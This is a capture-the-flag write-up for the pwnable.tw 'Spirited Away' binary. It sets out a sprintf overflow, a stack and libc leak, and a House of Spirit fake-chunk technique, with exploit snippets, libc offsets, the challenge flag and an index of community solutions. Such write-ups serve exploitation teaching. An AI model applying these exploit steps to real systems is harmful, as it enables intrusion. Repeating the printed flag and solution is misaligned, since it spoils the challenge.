Spirited Away — pwnable.tw (300 pts)
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nc chall.pwnable.tw 10204Flag:
FLAG{Gue55_the_answer_isn't_always_Y3S}
Challenge Overview
A 32-bit movie comment survey program (i386, no PIE, Partial RELRO, NX, Stack Canary) built against glibc 2.23. In a loop, the user is asked for name, age, reason, and comment. After each entry, they can choose to leave another comment. A global counter tracks total comments.
checksec:
Arch: i386-32-little
RELRO: Partial RELRO # GOT writable
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)Program Logic (Pseudocode)
void survey() {
char sprintf_buf[0x38]; // ebp-0xe8
uint32_t name_comment_len; // ebp-0xb0, initialized to 0x3c (60)
uint32_t reason_len; // ebp-0xac, initialized to 0x50 (80)
char reason[0x50]; // ebp-0xa8 .. ebp-0x58
char comment[0x3c]; // ebp-0x58 .. ebp-0x1c (approx)
char *name_ptr; // ebp-0x54 (malloc'd heap pointer)
name_comment_len = 0x3c;
reason_len = 0x50;
while (1) {
name_ptr = malloc(0x3c);
read(0, name_ptr, name_comment_len); // name
scanf("%d", &age); // age
read(0, reason, reason_len); // reason
read(0, comment_buf, name_comment_len); // comment (reuses name_comment_len!)
printf("Name: %s\nReason: %s\n...", name_ptr, reason);
// BUG: sprintf can overflow into name_comment_len
sprintf(sprintf_buf, "%d comment so far. We will review ...", ++cnt);
free(name_ptr);
read(0, &choice, 1);
if (choice == 'n') return; // returns to main → exit
}
}Vulnerabilities
V1 — sprintf Overflow Corrupts name_comment_len (Primary, Exploitable)
Root Cause: The sprintf_buf at ebp-0xe8 is ~56 bytes, and the name_comment_len variable sits at ebp-0xb0. The sprintf format string "%d comment so far. We will review them as soon as we can" is 57+ characters. When cnt grows from 1 digit to 2 digits (count=10), the NUL terminator spills onto name_comment_len, setting it to 0. When cnt reaches 3 digits (count=100), the trailing "...can\0" writes 'n' = 0x6e (110) into name_comment_len.
sprintf_buf layout (cnt=100):
ebp-0xe8: "100 comment so far. We will review them as soon as we can\0"
^
ebp-0xb0 = 0x6e ('n')Phase 1 (cnt 10–99): name_comment_len = 0 → name and comment read() calls consume 0 bytes (effectively skipped). Age and reason still work normally.
Phase 2 (cnt ≥ 100): name_comment_len = 0x6e (110) → name and comment reads are now much larger than the original 0x3c (60). The comment buffer is only ~60 bytes before reaching the name_ptr variable on the stack → comment read overflows into name_ptr.
Impact: The attacker controls the name_ptr (heap pointer) that gets free()'d and then malloc()'d on the next iteration. This enables House of Spirit: point name_ptr at a fake fastbin chunk on the stack, free it, then malloc returns a stack pointer — the next name read writes directly to the stack.
V2 — printf("%s", reason) Leaks Stack/libc (Exploitable)
Root Cause: The reason buffer at ebp-0xa8 is read with read(0, reason, 0x50) but never NUL-terminated. printf("Reason: %s", reason) prints past the 0x50 bytes into whatever follows on the stack.
Stack layout after reason buffer:
ebp-0xa8: reason[0x50]
ebp-0x58: ... (comment area / other locals)
...
ebp+0x00: saved_ebp ← leaked (stack address)
ebp+0x04: saved_eip = 0x08048908 ← leaked (return into main, constant)
ebp+0x08: stdout FILE* ← leaked (libc address)Impact: By filling reason with exactly 0x50 bytes (no newline), the %s format leaks:
saved_ebp→ stack address (used to calculate the fake chunk target)0x08048908→ anchor value (survey's return address into main, confirms alignment)stdout(_IO_2_1_stdout_) → libc address (subtract known offset → libc base)
Some solvers get a shorter leak by filling reason with fewer bytes (e.g., 56 bytes to only leak the libc pointer through _IO_file_sync/fflush residue), depending on exact stack layout.
V3 — Heap Pointer on Stack → House of Spirit (Enabler)
The name_ptr variable at ebp-0x54 holds a malloc'd pointer that is free()'d each iteration and re-malloc()'d at the start of the next. Since V1 lets us overwrite name_ptr via the comment overflow, we can:
- Point
name_ptrat a fake fastbin chunk we've placed in thereasonbuffer on the stack - The subsequent
free(name_ptr)inserts this fake chunk into the 0x40 fastbin - The next
malloc(0x3c)returns the stack address - The next
read(0, name_ptr, 0x6e)writes up to 110 bytes starting from the stack fake chunk → overwritessaved_eip
Exploit Flow (All Solutions)
Every solution follows the same fundamental chain. Differences are minor (leak offsets, padding, one_gadget vs ret2libc).
Step 1 — Leak Stack + libc (Iteration 1)
Fill reason with 0x50 bytes (or a shorter marker + padding). Read back the %s leak to extract saved_ebp (stack) and _IO_2_1_stdout_ (libc).
# Fill reason fully → leak stack and libc
send_name("A")
send_age("1\n")
send_reason("A" * 0x50) # no NUL terminator
send_comment("C")
# parse: saved_ebp, return_addr (0x08048908), stdout pointerStep 2 — Overflow name_comment_len (Iterations 2–100)
Send 99 more comments to increment cnt from 1 to 100:
- Iterations 2–10: normal (len=0x3c), send all four fields
- Iterations 11–100: len=0 (NUL-overwritten), name and comment reads are skipped; only send age + reason + choice
for i in range(2, 11):
send_all_fields("a", "1\n", "x", "c"); send_choice("y")
for i in range(11, 101):
# len=0: name/comment reads consume nothing
send_age("1\n"); send_reason("x"); send_choice("y")
# cnt is now 100 → name_comment_len = 0x6eStep 3 — Forge Fake Chunk + Redirect name_ptr (Iteration 101)
Place a fake 0x40 fastbin chunk in the reason buffer and overflow name_ptr via the now-oversized comment read:
# Fake chunk in reason buffer (ebp-0xa8):
# prev_size=0, size=0x41, data[0x38], next_size=0x41
reason = p32(0) + p32(0x41) + "X"*0x38 + p32(0) + p32(0x41)
# Overflow comment → overwrite name_ptr with address of fake chunk
comment = "Q"*0x54 + p32(fake_chunk_addr)
# Send and answer "y" → free(name_ptr) pushes fake chunk to fastbinStep 4 — Stack Write → ret2libc / one_gadget (Iteration 102)
malloc(0x3c) returns the stack fake chunk. The name read() now writes 0x6e bytes onto the stack starting from the fake chunk, reaching saved_eip:
# Overwrite saved_eip with system() and "/bin/sh" argument:
name = "A"*0x4c + p32(system) + p32(junk) + p32(binsh_addr)
send_name(name)
# ... fill remaining fields ...
send_choice("n") # survey() returns → system("/bin/sh")Alternative Finishes
| Technique | Description | Used by |
|---|---|---|
ret2libc: system("/bin/sh") |
Classic 32-bit ret2libc with libc /bin/sh string |
Most solutions |
one_gadget |
Single gadget (e.g., 0x3a819, 0x5f065) in saved_eip |
1006, 1727, 7905 |
ROP → read() → puts(GOT) → system() |
Multi-stage ROP to leak libc at runtime + pivot | 1913 |
"/bin/sh" on stack |
Place /bin/sh string on stack, point system arg there |
17048 |
Exploit Primitive Summary
| Primitive | Source | Reliability |
|---|---|---|
libc leak (_IO_2_1_stdout_) |
V2: printf("%s", reason) no NUL terminator |
Deterministic |
Stack leak (saved_ebp) |
V2: same %s leak |
Deterministic |
name_comment_len corruption (0→0x6e) |
V1: sprintf overflow at cnt=100 |
Deterministic |
name_ptr overwrite |
V1-enabled comment overflow | Deterministic |
| Fake fastbin chunk (House of Spirit) | V3: forge chunk in reason buffer | Deterministic |
| Stack write (saved_eip overwrite) | malloc returns stack; name read overwrites ret | Deterministic |
Key Stack Layout
ebp-0xe8: sprintf_buf[0x38] ← "%d comment so far..."
ebp-0xb0: name_comment_len ← overwritten by sprintf NUL/tail
ebp-0xac: reason_len (0x50)
ebp-0xa8: reason[0x50] ← fake chunk placed here
ebp-0x58: comment/name_ptr area
ebp-0x54: name_ptr (heap) ← overwritten via comment overflow
...
ebp+0x00: saved_ebp ← leaked via V2
ebp+0x04: saved_eip (0x08048908) ← overwritten to system() / one_gadget
ebp+0x08: stdout FILE* ← leaked via V2 (libc anchor)Offsets (pwnable.tw libc_32.so.6, glibc 2.23)
_IO_2_1_stdout_ = 0x1b0d60
system = 0x3a940
bin_sh = 0x158e8b
# one_gadgets (from one_gadget tool):
one_gadgets = [0x3a819, 0x3a81c, 0x5f065, 0x5f066]Solution Write-ups
| File | Key Technique | Notes |
|---|---|---|
1006.md |
sprintf overflow → House of Spirit → one_gadget | Leaks stack via reason overflow; GOT read for libc |
1172.md |
sprintf overflow → fake chunk → system("/bin/sh") | Clean code; single-iteration leak |
1269.md |
sprintf overflow → House of Spirit → one_gadget | Detailed helper functions; two-phase leak |
1297.md |
sprintf overflow → fake chunk → system+exit+binsh | Full ret2libc with clean exit |
1303.md |
sprintf overflow → fake chunk → system | Messy parsing but works; raw hex leak |
1316.md |
sprintf overflow → House of Spirit → system+exit+binsh | Clean exploit with proper recv handling |
1351.md |
sprintf overflow → fake chunk → system | Uses ntpwn library |
1384.md |
sprintf overflow → fake chunk → system | Minimal; uses fflush offset for libc leak |
1689.md |
sprintf overflow → fake chunk → system | Uses reason at various offsets for two-stage leak |
1727.md |
sprintf overflow → House of Spirit → one_gadget (0x5f065) | Verbose but well-structured |
1803.md |
sprintf overflow → fake chunk → system | Written in Ruby |
1913.md |
sprintf overflow → ROP chain (read→puts→system) | Multi-stage ROP; leaks libc via puts(GOT) at runtime |
10128.md |
sprintf overflow → fake chunk → system | Uses regex for leak parsing |
10840.md |
sprintf overflow → fake chunk → system | Detailed with proper fastbin next-size validation |
11445.md |
sprintf overflow → fake chunk → system | Short; anchors libc on _IO_file_sync offset |
11540.md |
sprintf overflow → fake chunk → system | Uses interactive() trick for scanf buffering |
13019.md |
sprintf overflow → House of Spirit → system | Detailed step-by-step with raw_input pauses |
14032.md |
sprintf overflow → fake chunk → system | Different libc version offsets (2.27 locally) |
14605.md |
sprintf overflow → fake chunk → system | Clean helper functions |
17048.md |
sprintf overflow → House of Spirit → system | Detailed telnetlib-based; places "/bin/sh" on stack |
Files
| File | Description |
|---|---|
exp.py |
Working exploit script (socket-based, no pwntools) |
desc.txt |
Challenge description |
artifacts/spirited_away |
Challenge binary (i386, stripped) |
artifacts/libc_32.so.6 |
Remote libc (glibc 2.23, 32-bit) |
solution/*.md |
Community write-ups (129 solutions) |